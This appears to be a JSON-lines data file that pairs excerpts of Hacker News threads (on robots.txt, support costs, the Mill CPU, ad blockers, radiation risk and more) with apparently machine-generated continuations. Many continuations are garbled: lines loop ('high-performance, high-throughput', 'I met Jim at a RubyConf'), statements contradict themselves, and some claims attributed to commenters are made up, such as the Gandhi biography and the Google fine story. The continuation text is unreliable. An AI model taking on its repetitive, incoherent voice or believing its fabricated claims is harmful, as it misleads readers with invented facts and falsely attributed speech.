negotiation you do with Google\nis going to be a negotiation between you and Google, not between you and\nGoogle and the web search engines.\n\n>If you don't see why companies and governments see more shades of grey in\nthis situation then the only person who is ignorant is you.\n\nI don't see why companies and governments see more shades of grey in this\nsituation. I see a situation where a company is trying to make money off of\nthe work of others", "input_text": " \u201cThose who make a profit from the information\u201d produced by\nmedia companies should participate in their financing.\"\n\nIt's depressing to see so many examples of the abysmal understanding of the\ninternet that so many politicians seem to have. Ignorance can be forgiven to a\ncertain extent, but not even making an attempt to try to understand the\nsituation - just spending five minutes on google or wikipedia researching the\nGooglebot will tell you about robots.txt - is inexcusable.\n\nPublic and state ignorance of computers and the internet are leading us down a\nvery dark path; there needs to be an effort to try to educate our political\nrepresentatives, or we risk a future where legislation like SOPA is passed\npurely out of ignorance of what it means.\n\n~~~\ntaligent\n> just spending five minutes on google or wikipedia researching the Googlebot\n> will tell you about robots.txt\n\nSo basically your position is binary: Either don't allow your site to be\nindexed by Google or accept that they are going to profit from your content.\n\nIf you don't see why companies and governments see more shades of grey in this\nsituation then the only person who is ignorant is you.\n\n~~~\nAnthonyMouse\n>So basically your position is binary: Either don't allow your site to be\nindexed by Google or accept that they are going to profit from your content.\n\nNonsense. If you want to put \"no access\" in robots.txt and then go to Google\nand negotiate a fee from them for removing it, you're perfectly entitled to do\nthat. But you know perfectly well that the value of search traffic to your\nsite is worth more to you than the value of indexing your site is worth to\nGoogle or any other web search engine, so any"} +{"output_text": " care\nless about the consequences.\n\nI'm not sure if this is a good or a bad thing, but I'm not sure how to change\nit.\n\n~~~\nmattmanser\nI'm not sure if you're being serious or not, but I'm going to assume you're\ntrying to be funny.\n\nI'm not sure if you're being serious or not, but I'm going to assume you're\ntrying to be funny.\n", "input_text": " because I care. Perhaps you could try the same approach?\n\nIn the first summer that I couldn't get a coding internship (in college), I\ntaught my friend who didn't have a coding background how to code. I taught my\ngirlfriend at the time how to code. I started a meetup group and taught\neveryone I could. As they got better, I started to learn new things to teach.\nWhen I took on contract projects, I talked it over with my trusted friends and\nwe solve the projects together. They were getting better through the projects\nI take up and my projects became a little more fun to work on.\n\nNow, fast forward a few years, many of the people I taught are now senior\nsoftware engineers. I still meet up with them a few times a week to talk about\nnew coding patterns, discuss work projects, and help each other get better.\n\nFor me, the mindset shift I needed to do was to start thinking about how I can\nhelp others around me and make sure I'm helping them effectively.\n\n------\nsockaway\nI feel very similar. It has actually always been like that for me. I hardly\never did (=finished) any homework in school and university, but I was spending\nmost of my free time sitting at my desk b/c I had to do homework.\n\nNow I'm perfectly aware I'm procrastinating while I'm doing so, but I just\nfeel like I _must_ [find out xy / read the current news about xy / read that\ninteresting article I saw / review and close the hundreds of open browser tabs\n/ have some social interaction w/ someone / finish unrelated task xy (e. g.\nhousework) / eat sth / watch porn] at _that very moment_ and couldn't"} +{"output_text": "dotal evidence from a few more.\n\n~~~\nsgdesign\nI'm not sure I understand your point.\n\nI'm not saying that the support costs are the same for all customers, but that\nthe support costs are higher for the cheap customers.\n\n~~~\npatio11\n_I'm not saying that the support costs are the same for all customers, but\nthat the support costs are higher for the cheap customers._\n\nI'm saying that the support costs", "input_text": " is a very impressive project.\n\n \nWhy cheap customers cost more - sgdesign\nhttp://sachagreif.com/why-cheap-customers-cost-more/\n======\npatio11\nFor Appointment Reminder, approximate per-account customer support incidents\nper month. I've taken the liberty of scaling them to X, where X represents the\nnumber for the highest publicly available account plan.\n\n \n \n Personal ($9): 7X\n Professional ($29): 4X\n Small Business ($79): 3X\n Office ($199): X\n \n\nThe character of the questions is also different at the various plan levels.\nMost common question for Office: \"What's the timeframe on integrating this\nwith...\" followed by \"Our $TITLE would like a report saying $NEEDS, can you\nmake that happen?\" Most common question for Personal: \"How do I schedule\nappointments?\" followed by \"The system is working exactly the way it says it\ndoes on the screen. Can you please tell me why that is happening? I thought it\nwould work in a way completely opposite to the way described on the screen. It\nwould be convenient if you could fix that. No, I didn't read the 'If you want\nthis to work in the opposite fashion...' text on the screen to change that\nsetting, I have more important things to do than worry about computers.\"\n\nYour mileage may vary. If I were doing the math based on phone calls waking me\nup in the middle of the night, the numbers get skewed due to one pathological\ncustomer in the $29 bucket, who has literally called me more than every other\ncustomer combined.\n\nP.S. I have fairly exact privileged information regarding this question at a\nhandful of companies and anec"} +{"output_text": "/Clang/LLVM/LLVM/LLVM/LLVM/LLVM\ncould be used to implement?\n\n~~~\nwillvarfar\nMill is a new architecture, not a new compiler. It is designed to be a\ngeneral-purpose, high-performance, low-overhead, high-throughput, high-\nperformance, high-throughput, high-performance, high-performance, high-\nperformance, high-performance, high-performance, high-", "input_text": "Some kinds of code will benefit from this - long calculations and deep nested\nprocedures. But lots of hangups on consumer applications are in\nsynchronization, kernel calls, copying and event handling.\n\nI'd like to see an architecture address those somehow. E.g. virtualize\nhardware devices instead of writing kernel-mode drivers. Create instructions\nto synchronize hyperthreads instead of kernel calls (e.g. a large (128bit?)\nevent register, a stall-on-event opcode). If interrupts were events then a\nthread could wait on an interrupt without entering the kernel.\n\n~~~\nwillvarfar\nActually, the Mill is designed to address this; it has TLS segment for cheap\ngreen threading, SAS for cheap syscall and microkernel arch, cheap calls and\nseveral details for IPC which are not public yet.\n\n~~~\nJoeAltmaier\nWhat about synchronization? Folks are terrified of threads because\nsynchronizing is so hard. But a thread model can be the simplest especially in\nmessage models.\n\n------\nMjolnir\nVery very interesting, thanks for sharing! What would the path be to using\nexisting code/where would Mill appear logically first?\n\nAlso, could something like Mill work well within the HSA/Fusion/hybrid GPGPU\nparadigm? E.g. from my very amateur reading of your documents, it looks like a\nmuch needed and very substantial improvement to single threaded code; how\nwould a mixed case where we have heavy matrix multiplication in some parts of\nour code as part of a pipeline with sequential dependencies work? Would an\nideal case be a cluster (or some fast interconnect fabric in a multi socket\nsystem) of multi core Mill chips be the future?\n\nRealistically, is this something that LLVM"} +{"output_text": "/how-cars-get-named\n\n------\njoshstrange\nI'm not sure I understand the point of this article. I'm not sure I would\nhave ever used the old version of Shopify but I'm not sure I would have\nwanted/needed to use the new version.\n\nI'm not sure I would have ever used the new version of Shopify but I'm not\nsure I would have wanted/needed to use the old version.\n\n", "input_text": " your own libraries, but I'm curious\nif anyone at Shopify had considered switching to say Ember or Angular or React\nbefore the rebuild?\n\n~~~\nAYBABTME\nYes, it's also mentioned in the article.\n\n------\naikah\nSo AFAIK they send html back to the client right? that's my understanding of\nturbolinks\n\nThe problem with this is that it makes client and server tightly coupled.One\ncannot update the client app without touching the server code.\n\nI understand that's a tradeoff but I think a restful architecture serving only\njson/xml data is better. And you dont have to duplicate logic that much.If any\nvalidation needs to happen clientside,create some validation resource for each\nmodel and do it entirely serverside for instance. Even SPAs dont need fat\nclientside models or a complex service layer on the client.\n\n~~~\nmatthewmacleod\nI don't know that what you've identified there is actually a problem in\npractice \u2013 I'd wager that in a system like Shopify's admin, the client and\nserver are inherently coupled regardless of what architecture you choose.\nTrying to abstract to a client-side app and JSON API in these situations often\nresults in more complexity for few benefits.\n\n~~~\nwvanbergen\nThis. We ended up creating models for the exact same stuff in both Ruby and\nJS. Lots of code duplication, and losing client-side performance due to\ndeserializing JSON all the time.\n\n------\njbergens\nI think it is great that they hade the courage to redo something that wasn't\nworking for them anymore.\n\n \nHow Cars Get Named - samclemens\nhttp://www.atlasobscura.com/articles"} +{"output_text": "------\njoshstrange\nI'm not sure I agree with the premise of the article. I don't think that\nadvertising is the problem. I think that the problem is that the internet is\nso fragmented that it's hard to find content that you want to consume. I\npersonally don't mind ads as long as they are relevant to the content I'm\nlooking at. I don't mind ads on TechDirt because I know that they are\nproviding me", "input_text": "'s too easy to find scapegoats for our blame. I try to remember this when I\nfind myself sliding back into mediocrity.\n\n------\nsnowwrestler\nA major failing of this article is that it presupposes that people actually\nconsidered the quality of advertising in their decision to run ad blockers.\n\nWhen running an ad blocker, most ads are blocked by default on every site.\nTherefore the user never even has a chance to see if the ads are \"good\" or\nnot.\n\nThe question is, what happens if everyone starts using this software? Granted,\nit's a very unlikely scenario since it takes effort to install and manage ad\nblockers. But it's not hard to imagine that a relationship would exist between\nmarginal increases in ad blocker usage, and marginal decreases in ad revenue.\n\nMost of the \"good\" examples in this article are not even ads, they are\nsponsored content. It's roughly analogous to using product placements in TV\nshows to replace revenue lost to ad skipping software in DVRs. But not many\nwebsites are big enough (like TechDirt is) to command the special attention\nfrom advertisers to create these \"one off\" deals.\n\n------\nhayksaakian\nThe qq around ad blockers is the same as the qq around piracy. Bootleg vhs\ntapes were available before streaming media, relatively easy to make, and\nshare. However the vast majority of people do not consume them to a damaging\nextent. The same is true for ad blockers and content distribution now. Ad\nblockers are a solution to a usability and business model problem. If you as a\nproducer of content find it to be a huge issue, then you have it in your power\nto change it.\n\n"} +{"output_text": "ott31\nI'm not sure if this is a good idea.\n\nI'm not sure if it's a good idea to have a single company owning a large\nchunk of the real estate in a city.\n\nI'm not sure if it's a good idea to have a single company owning a large\nchunk of the real estate in a country.\n\nI'm not sure if it's a good idea to have a single company owning a large\nchunk of the real estate", "input_text": " editors\nin other languages, like Eclipse, or that Ruby thing there once was (probably\nstill is), or the Chromium/JS monster that was on HN recently.\n\nI haven't yet found an editor I'm really happy with, so if I ever have time,\nI'll probably write my own as well. I'll lose the Emacs packages I don't use\nor even know about, but if you haven't bought into an existing ecosystem, that\ndoesn't really matter. I'm unhappy enough with the existing systems that I\ndon't mind throwing them away for something different.\n\n \nAnonymous shell companies buying American real estate - paulpauper\nhttps://www.revealnews.org/article/unmasking-the-secret-landlords-buying-up-america/\n======\nthreatofrain\n> All-cash transactions have come to account for a quarter of all residential\n> real estate purchases, \u201ctotaling hundreds of billions of dollars\n> nationwide,\u201d the Financial Crimes Enforcement Network \u2013 the financial crimes\n> unit of the federal Treasury Department, also known as FinCEN \u2013 noted in a\n> 2017 news release. Thanks to the Bank Secrecy Act, a 1970 anti-money-\n> laundering law, the agency is able to learn who owns many of these\n> properties. In high-cost cities such as New York, San Francisco, Los Angeles\n> and Miami, it\u2019s flagged over 30% of cash purchases as suspicious\n> transactions. But FinCEN also cites this bill to hide this information from\n> the public, leaving the American people increasingly in the dark about who\n> owns their cities.\n\n> For journalists, it requires undertaking a tremendous investigative effort\n> to find the real owner of even one property, let alone millions.\n\n------\nsc"} +{"output_text": " the TFEU.\n\n[http://ec.europa.eu/competition/newsroom/news/eu-\ncommission-...](http://ec.europa.eu/competition/newsroom/news/eu-commission-\nresponds-to-microsoft-windows-8-complaint-by-8000-strong-body)\n\n~~~\nDanBC\n> EU had already previously responded to this and I believe this complaint by\n", "input_text": " idea?\n\nI might understand it if the boot sequence just gives a warning with\ninformation, suggestions and a \"Don't warn me again\" option, but from what I\nhear it just makes the machine unusable.\n\n~~~\nDanBC\nWindows 8 is meant to be used by people who don't know much about computers.\nThus, the approach they take might not fit skilled users.\n\nIdeally the novice user will take their machine to a clueful technician who\nwill wipe the drives and reinstall the OS, and then offer to set up firewalls\nand anti virus software.\n\nUnfortunately novice users often do not back up their data so wiping the drive\nis unpopular.\n\nAnd there are many technicians who think that malware removal without wiping\nthe drives is acceptable.\n\n------\ncooldeal\nEU had already previously responded to this and I believe this complaint by a\n\"8000-strong\" body is not going to change it.\n\n>The Commission is aware of the Microsoft Windows 8 security requirements.\nAccording to these requirements, in order to conform to the Windows 8\ncertification program, computer manufacturers (\u2018OEMs\u2019) have to use Unified\nExtensible Firmware Interface (\u2018UEFI\u2019) secure boot.\n\n>The Commission has at its disposal various legal instruments to ensure that\ncompetition is preserved in the markets. The basic provisions are contained in\nthe Treaty on the Functioning of the European Union (\u2018TFEU\u2019) in Article 101\nand 102 TFEU.\n\n>Whether there is a violation of EU competition rules depends however on a\nrange of factual, legal and economic considerations. The Commission is\ncurrently not in possession of evidence suggesting that the Windows 8 security\nrequirements would result in practices in violation of EU competition rules as\nlaid down in"} +{"output_text": " votes he needs to win the nomination.\n\n~~~\njessaustin\n_I can 't believe how people have lost their minds and he most likely won't\nget the amount of votes he needs to win the nomination._\n\nI'm not sure that's true. The polls are pretty close, and the polls are\nskewed by the fact that the GOP is a party of old white men. If the GOP\nconvention were held today, I think Cruz would be", "input_text": " here, France is the complete opposite of an efficient government. The\nbureaucracy is massive and everywhere. It's quite outside of the scope of this\ntopic but the short answer is don't create a company there.\n\n~~~\nS4M\nI'm French as well (expat, though). What you say is true, but it strikes me as\na lesser evil than the ones that are plaguing USA: little social protection\nand high cost of education among others.\n\n~~~\nrealusername\nAlso expat on my case (London). Yes indeed I agree. My problem with the French\nsystem is more the bureaucracy than anything else. I'm from the countryside in\na post-industrial area so it makes it even worse than in cities. I have a\nbrother who has a shop and honestly, it's impossible to manage the paperwork\nnowadays, I don't want to put any anecdotes here because people won't beleive\nme and I will probably be downvoted.\n\nI think around ~70% of the shops in the area are close to bankruptcy and the\nsystem is crashing really hard currently. If it stays like this, everyone will\nbe relying on some sort of black market to purchase goods in less than 10\nyears. While I guess main cities are still okay, things are not really working\nanymore in remote areas.\n\n------\nat-fates-hands\nThe insanity about this is HE'S NOT EVEN THE NOMINEE YET.\n\nConsidering how pissed the establishment Republicans are that he _might_ be\nthe nominee, they're all betting on an open convention followed by some\ncombination of a Walker, Cruz, Rubio, Ryan ticket.\n\nI can't believe how people have lost their minds and he most likely won't get\nthe amount of"} +{"output_text": " equations, and here's how to solve them.\" Then you\ngo on to \"here's how to solve systems of linear equations, and here's how to\nsolve systems of linear equations.\"\n\nThe problem is that the first step is a lot easier to teach than the second.\nThe second step is a lot harder to teach than the first.\n\n~~~\njcranmer\nI'm not sure if this is the right place to post this, but I'm curious:", "input_text": " internship I had,\nthe hiring manager asked me that. A few times, I had no response and was\nshuffled around my first few weeks. Eventually, I realized that _probably_\nwasn't the best way of going about things.\n\nAnd all that was at companies with thousands of employees: It's a much more\nvital question to be prepared to answer (even if you're not asked) at smaller\nshops.\n\nGreat advice.\n\n------\nmaxwin\nI definitely lost my respect and trust to WePay founders because of their\nseemingly support for unpaid internships. Their justification is that interns\ncan gain learning experience though they're not paid. This is okay if none of\nthe intern's work goes to production code. If the interns are doing real work\nthat impacts the company's products, then it is not only illegal, but also\nunethical.\n\n~~~\nbullrunbear\nMaxwin,\n\nCheck this out at my alma mater, led by a very respected valley veteran:\n[http://www.cob.sjsu.edu/bennet_s/196%20Spring%2010%20Syllabu...](http://www.cob.sjsu.edu/bennet_s/196%20Spring%2010%20Syllabus.pdf)\n\n------\n100k\nI have coffee that needs fetching. Perhaps you can do that. ;)\n\n \nLinear Algebra and Applications: An Inquiry-Based Approach - henning\nhttps://scholarworks.gvsu.edu/cgi/viewcontent.cgi?article=1021&context=books\n======\njcranmer\nPedagogically, the challenge to teaching linear algebra is that you start with\n\"here's systems of linear"} +{"output_text": " the NoSQL databases are _not_ SQL databases.\n\nThey're not even close.\n\n~~~\nbatbomb\nI'm not sure what you mean.\n\n~~~\npornel\nI mean that they're not SQL databases.\n\nThey're not even close to being SQL databases.\n\n~~~\nbatbomb\nI'm not sure what you mean.\n\n~~~\npornel\nI mean that they're not SQL databases.\n\nThey", "input_text": " an order of\na magnitude worse than WebSQL when put under heavy load (this likely has more\nto do with ASM vs true native code than Sql.js in particular). Particularly,\nsql.js starts to stutter at a far lower query load than WebSQL for a given\nmachine. Furthermore, Sql.js uses sqlite3_exec() under the hood, which means\nthat all results get converted to strings, _regardless of the underlying type\nof the column_. And finally, effective memory capacities are not the same.\n\n~~~\njwise0\nYes, I just wrote a small app around sql.js, and I was surprised at how poorly\nit performed. I was expecting to be within a factor of three of native, but\nI'm seeing performance down by an order of magnitude or so. The sql.js page\nalludes to bugs open in Firefox and Chrome for these issues; I imagine they'll\nshake out over time, but it's certainly not a buttery smooth experience just\nyet. Even still, it certainly works better than the alternatives!\n\n------\nbatbomb\nIt's unfortunate most of this was debated at the beginning of all the hype\naround NoSQL data stores.\n\nIt would be some work, but still be relatively trivial to build a query spec,\nprobably based off of SQL 92, and a basic type system spec (Strings, numbers,\nand dates are the bulk of it), and then an implementation of everything else.\n\nFacebook did it with Presto, although they haven't finished the DML part of\nit.\n\nReading the emails, I get the feeling most of the people involved didn't have\nas much experience with databases as they probably should have in order to\nmake a truly informed decision.\n\n~~~\npornel\nThe problem is that all"} +{"output_text": " / Facebook /\nLinkedIn / etc.\n\n\\- Option E. Build a good product, get some traction, and then go to VCs.\n\n\\- Option F. Build a good product, get some traction, and then go to angels.\n\n\\- Option G. Build a good product, get some traction, and then go to VCs and\nangels.\n\n\\- Option H. Build a good product, get some traction, and then go to VCs and", "input_text": " have a wrong answer, but they all lead to\ndifferent companies.\n\n~~~\nBasDirks\n> Also, talk to a lawyer immediately and make sure you have clear ownership\n> given your employment elsewhere in the same industry.\n\nThis has been sorted with HR, and I have written consent for any secondary\nventures.\n\n------\nthesandlord\n> the one thing we want most in life is to work on our product full-time\n\nDo you need investors for this? Can you bootstrap? How much revenue do you\nneed and how quickly can you get there?\n\nInvestors, especially VCs, will want to see how you can become a billion\ndollar company. If that isn't what you want, then this might be the wrong path\nto do down.\n\nHowever, there might be angel investors who agree with your vision and want to\nhelp you succeed. I don't know what the scene looks like in the Netherlands\nbut try to go to networking events, reach out to people you find online, etc.\n\n~~~\nBasDirks\nBootstrapping was our initial plan, but we won't shy away from ways of\naccelerating the process.\n\n------\ngiansegato\nSome quick thoughts:\n\n\\- Option A. Bootstrap and get to the point where you can pitch VCs by\nyourself\n\n\\- Option B. Build a reasonable MVP, collect some metrics and join an\naccelerator with a good track record (obvious example is YC, but others\nexist); some metrics to judge them: average money raised after the program,\naverage pre money valuation after program\n\n\\- Option C. Family and friends!\n\n\\- Option D. Good old social networks: you cannot imagine how many angels\nwrite \"Angel investor\" in their bio on Twitter / LinkedIn"} +{"output_text": " a tear.\n\n------\njoshu\nI met Jim at a RubyConf in NYC a few years ago. He was a great guy.\n\n------\njoshu\nI met Jim at a RubyConf in NYC a few years ago. He was a great guy.\n\n------\njoshu\nI met Jim at a RubyConf in NYC a few years ago. He was a great guy.\n\n------\njoshu\nI met Jim at a", "input_text": " get into drones and copters whole heartedly over the past\nyear and appeared to be having a lot of fun with it :-)\n\n------\ncraftsman\nI met Jim at Rocky Mountain Ruby a couple years ago. He was friendly, easily\napproachable, and had that hacker humor that is so fun. You could just tell he\nloved everything about Ruby, hacking, and teaching and learning from others.\n\nHe sang Ruby Coding High at that conference:\n\n[http://www.confreaks.com/videos/740-rockymtnruby2011-ruby-\nco...](http://www.confreaks.com/videos/740-rockymtnruby2011-ruby-coding-high)\n\nThanks for helping us all get on a Ruby Coding High Jim, we'll miss you.\n\n~~~\nzefhous\nWow, cool to see you post this. I had the pleasure of playing with him in that\nvideo! Many others have said it, but he was a joy to be around and always kind\nand generous.\n\n~~~\ncraftsman\nAwesome! You guys were great. I thoroughly enjoyed that, so thanks to you too.\n\n------\nspellboots\nFitting that his last publicly visible github commit is adjusting a Rakefile:\n\n[https://github.com/jimweirich/wyriki/commit/d28fac7f18aeacb0...](https://github.com/jimweirich/wyriki/commit/d28fac7f18aeacb00d8ad3460a0a5a901617c2d4)\n\n~~~\nrlt\nThere's something deeply moving about his last commit becoming a memorial to\nhim. I actually shed"} +{"output_text": " day I'm still not sure I like the new UI. I think it's a bit too\ndistracting.\n\nI'm not sure if it's just me but I find myself constantly looking at the\nsidebar. I'm not sure if it's because I'm used to it or if it's because I'm\nused to it and it's just a habit.\n\nI'm not sure if it's just me but I find myself constantly looking at the\nsidebar. I'm", "input_text": "arke\nThe problem was they removed _all_ color from all icons in 1.8, made them all\ngray with pencil-thin lines, and removed all the labels. The icons in 1.6 were\nperfectly fine - in 1.8, you couldn't tell anything apart. There was a huge\nthread in the Sourcetree JIRA complaining about this:\n[https://jira.atlassian.com/browse/SRCTREEWIN-4306](https://jira.atlassian.com/browse/SRCTREEWIN-4306)\n.\n\n------\nsocialist_coder\nThis seems like a great update to me. Much speedier than 1.x and the removal\nof the repo sidebar doesn't seem like it actually matters. It's 1 additional\nclick to access your repo list but it seems like a good tradeoff for a bit\nmore horizontal space.\n\nAnother positive change is the tab bar now occupies the entire horizontal\nspace so you can fit a few more repos in. But, the tabs are still super wide\n(much wider than they need to be). This was changed sometime around 1.7 and I\nhate it. If you have repos with a lot of submodules you tend to have a lot of\nrepos open so it really hurts this use case.\n\nSo yeah, please make the tabs less wide so we can have more open!\n\n~~~\nsocialist_coder\nIt's so much faster. I'm very pleased with the speed improvements. Every time\nI click on something it's almost instant. Before, not so much. Great job\nAtlassian!\n\n------\nsocialist_coder\nI like this new version a lot (it's so much faster!) but after having used it\nall"} +{"output_text": " indemnification is boilerplate. But it's boilerplate that's designed to\nprotect the site from liability.\n\nThe problem is that the site is not liable for the content. The site is liable\nfor the content.\n\nThe problem is that the site is not liable for the content. The site is liable\nfor the content.\n\nThe problem is that the site is not liable for the content. The site is liable\nfor the content.\n\nThe problem is that", "input_text": " and any site that allows people to upload content\nwill have a similar clause in their ToS. Facebook, YouTube, SoundCloud, etc.\nall do.\n\nSee, e.g., section 6.C of YouTube's ToS:\n[http://www.youtube.com/static?gl=US&template=terms](http://www.youtube.com/static?gl=US&template=terms)\n\nIf you find people are sharing your copyrighted material on Pinterest you\nshould file a DMCA claim with them. That's how the mechanism is designed to\nwork, for better or worse.\n\nSecond, when you react viscerally to what Pinterest is doing or enabling,\nthink carefully about your opinion of YouTube. With respect to content, is\nthere a substantive difference between these early days of Pinterest and the\nearly days of YouTube?\n\nThe MPAA is probably saying, \"See? You don't like it when it happens to you,\neither.\"\n\n~~~\nantiterra\nThe indemnification clause is definitely 100% boilerplate and used in most any\nsite that allows user-generated content. Facebook contains it near verbatim in\nitem 15.2 of their terms. The license grant is a bit different, since Facebook\nallows you to terminate the license, though under particular conditions.\n\nThe significant issue here is the idea that the intended primary use for\nPinterest may infringe on the rights of others. This is what took down\nNapster, and, to me, indemnifying Pintereist is too risky at this point.\n\nIt's my understanding that Pinterest is attempting to move to licensed and\nsponsored pins and they haven't annoyed any large industry groups and might\neven fare better legally than YouTube did. Who knows.\n\n~~~\njfarmer\nYes,"} +{"output_text": " his past, but I do respect him for\nhis ideas.\n\n~~~\nsremani\nGandhi was a British citizen. He was born in Porbandar, Gujarat, India. He\nwas a lawyer, a politician, a freedom fighter, a social reformer, a writer, a\nphilosopher, a political theorist, a religious leader, a political activist,\nand a political theorist.\n\nHe was a British citizen. He", "input_text": " thought that Indians should be\ngrateful to the British for democracy? I'd like to quote Shashi Tharoor's\narguments here from an Oxford Union debate [0] -\n\n> It's a bit rich to oppress, enslave, kill, torture, maim people for 200\n> years and then celebrate the fact that they're democratic at the end of it.\n> We were denied democracy sir! We had to snatch it, seize it from you! With\n> the greatest of reluctance it was conceded.\n\n[0] - [https://youtu.be/f7CW7S0zxv4?t=722](https://youtu.be/f7CW7S0zxv4?t=722)\n\n------\nnaruvimama\nBritain likes to tout its common wealth status. Now having come out of the EU,\nthe \"common wealth\" becomes even more important.\n\nGandhi whether you like it or not was a British citizen. Gandhi was a proper\nEnglishman except his skin colour, highly educated, loyal to the British.\nWithout him the British could have faced a very violent uprising in India.\n\nHe was instrumental in planting Nehru, who in turn was very loyal to the\nBritish, who continued to be the decision makers post independence. Britain\ncouldn't have had a better man in their citizenery.\n\nFor those commenting about Gandhi's past or early life. Gandhi is an idea of\nnon-violence, it is no longer about the person but what he is known for. Just\nlike we do not discus Hitler's art prowess, oratory skills, love of dogs or\nfidelity, he is associated with violence and evil.\n\nEven as an Indian I do not like Gandhi for"} +{"output_text": "\nas open.\n\nI think the real problem is that the open-source community has been\ndisproportionately focused on Linux, and has not been as active in the mobile\nspace.\n\n~~~\njokermatt999\nI think the real problem is that the open-source community has been\ndisproportionately focused on Linux, and has not been as active in the mobile\nspace.\n\n~~~\nwtn\nI think that's a fair point. I", "input_text": "\nBS and rightfully so. The argument should be what is better: 100% closed or\nless than 100% open? This is where the shades of grey come in.\n\n~~~\nisleyaardvark\n_It is getting tiresome to hear Apple fans, having long bashed Google's\nAndroid because \"open\" was bad, now bash Google for being somewhat less\n\"open.\"_\n\n _From my admittedly Apple-fanboy perspective, I always thought the argument\nwasn't that open = bad, just that that Google shouldn't use it as a marketing\npoint if they're not 100% open._\n\nHere's my admittedly Apple-fanboy perspective: Apple took a \"closed\" approach\nwhich helped in quality control. Google took an \"open\" approach which allowed\nothers to add or modify their OS in ways that did not benefit the consumer, or\njust plain sucked. This resulted in multiple products that either simply lack\npolish or just stink to use. Google found this out the hard way and is now\ntrying to tighten their control, and Apple's approach is being entirely\nvindicated.\n\n~~~\njokermatt999\nI agree partly, but not entirely. Some lock down is good, such as preventing\nthe modifications from carriers that usually users don't like (from what I've\nseen, at least) and delay updates. However, allowing the user choice to apply\ntheir own modifications like custom homescreens and skins is a good thing, and\nhas actually improved the default product for me. Some control is good, but I\nthink Apple takes it too far.\n\n------\nwtn\nI think Gruber's point is spot-on. A lot of people prefer Android because they\nwant it to be open and open-source, and Android companies market to the public"} +{"output_text": " was in the midwest). He said that he had access\nto all of that information and that he could get a map of the forest from the\nearly 1900's. I asked him how he could get that information and he said that\nhe had access to the data.\n\nI was shocked. I asked him how he got access to that data and he said that he\nhad a friend who worked for the state. He said that he had access to all sorts\nof cool stuff", "input_text": "to read... It seems so easy. It is not. But those are things to think about.\nWe are often the one person creating our own problems.\n\nPS: if you need to have a call with someone, I can offer a talk, just comment\nback we will find a way.\n\n------\ntimwaagh\nwhy do this? a girl? also begs the question on how you did get that kind of\nmoney. i could help a little on the programming stuff if thats needed.\n\n~~~\ncoldtea\n> _also begs the question on how you did get that kind of money_\n\nAs if 50K is too much money to be able to have?\n\n~~~\ntimwaagh\ni did not mean to imply that.\n\n------\ndavidgrenier\nWhile in Japan, I'd suggest finding some friend you can watch a specific anime\nwith: Trigun.\n\nYou'll learn something important: Your ticket to the future is ALWAYS open.\n\n \nNASA Says Earth Is Greener Today Than 20 Years Ago Thanks to China, India - sidcool\nhttps://www.forbes.com/sites/trevornace/2019/02/28/nasa-says-earth-is-greener-today-than-20-years-ago-thanks-to-china-india/#15a5334e6e13\n======\nchrsstrm\nI was speaking to someone employed as a state forester recently and we were\ncomparing maps we had brought to the meeting. He talked about how he had\naccess to all sorts of cool maps like infrared and even aerial maps dating\nback to the early 1910's and 20's. I joked that those maps must just be the\ntops of endless forests (this"} +{"output_text": " million and the DOJ was so impressed they didn't even bother to prosecute\nthe gangster. (3)\n\nOr maybe you remember when Google was caught paying a PR firm to push their\nsearch results to the top of the results page? (4)\n\nOr maybe you remember when Google was caught paying a PR firm to push their\nsearch results to the top of the results page? (4)\n\nOr maybe you remember when Google was caught paying a PR firm to", "input_text": ".\nEvery serious problem with the browser (well, apart from the UI) stems from\nthat. The fix has been in the pipeline for what, half a decade at this point?\nProbably more, even.\n\nFirefox apologists say the silliest things about it (\"I don't like process-\nper-tab because it pollutes the task manager\"), but really at this point there\nare no excuses.\n\n \nThe Perks Are Great, Just Don\u2019t Ask What We Do - dwaxe\nhttps://backchannel.com/the-perks-are-great-just-dont-ask-us-what-we-do-d5abc6867103?source=rss----d16afa0ae7c---4\n======\naresant\nSo what else is new.\n\nIf you work at Facebook or Google you're benefiting directly from the\nsimilarly shady practices they used to grow on their way to being \"pillars of\ntech\" today.\n\nDo you remember when at LEAST 20% of Facebook's revenue came from Zynga? Like\nless than 5 years ago? Many speculated it was considerably higher, but\nFacebook never provided a full accounting (1).\n\nOr do you remember when Facebook literally had an \"affiliate marketing panel\"\nthat they worked with at the C-suite level packed with guys selling weight\nloss affiliate slop? Almost impossible to find reference of it now, was well\nknown in many circles and you can still see references of it here and there.\n(2)\n\nOr maybe when Google was caught colluding with a notorious gangster when he\nturned state's evidence to demonstrate to the DOJ how quickly Google was\nwilling to skirt around laws to sell illegally imported drugs? They were fined\n$500"} +{"output_text": " power is safe is based on the\nassumption that the waste is safe.\n\nI think it is a good idea to have a discussion about the safety of nuclear\npower, but I think it is a mistake to assume that the waste is safe.\n\n~~~\njules\nI think it is a mistake to assume that the waste is safe.\n\n~~~\nbjelkeman-again\nI agree.\n\n------\njules\nI think it is a mistake", "input_text": " has only a small chance of causing cancer -- about\n10% (and an even lower chance of causing _lethal_ cancer).\n\n~~~\ncallmevlad\nWould you happen to have a source for this? I'm finding it hard to imagine how\na study like this can even take place given that there have (probably) not\nbeen many survivors among those who have received a dose of 4 Sieverts.\n\n~~~\nDennisP\nThere's a recent book called Physics for Future Presidents, written by a\nphysics professor at Berkeley, which has a lot of material on radiation risks.\nHe says you can calculate your risk of cancer from radiation by dividing your\nexposure by 2500 rem. The level that gives you acute radiation sickness is 200\nrem.\n\nThis is called the \"linear hypothesis\" and is widely used. They use it in\nmedicine to decide if diagnostic scans are worth the risk. The risk could\nactually be lower; some scientists think there's a threshold below which\nthere's no risk. There's too much statistical uncertainty at low exposure\nlevels to know for sure.\n\n~~~\nLost_BiomedE\nThe class is available as open courseware, too. It is a no math physics course\nthat focuses on concepts.\n\nThis is the course site, click webcast lectures on the side:\n\n\n------\nrichardw\nRadiation has the ability to make entire areas uninhabitable for the\nforeseeable future. Any mistakes in small countries like the UK could result\nin devastating effects on available land. Anything that dangerous should be\nhandled exceptionally carefully.\n\n------\nbjelkeman-again\nOften the argument about whether nuclear"} +{"output_text": " apps on the iPhone are written by people who\nare competent enough to write secure code.\n\n~~~\ncameldrv\nI don't know. I've seen a lot of apps that are written by people who are\ncompetent enough to write secure code.\n\n------\njrockway\nI'm not sure I understand the point of this. I can't copy and paste from\nanything on my iPhone. I can't copy and paste from anything on my Mac. I", "input_text": " lack of immigration reform is. I certainly hope we see a real\nsolution sooner rather than later.\n\n \n\nIPhone 3.0 has copy/paste, subscriptions, micropayments, P2P, maps, push, MMS, etc - 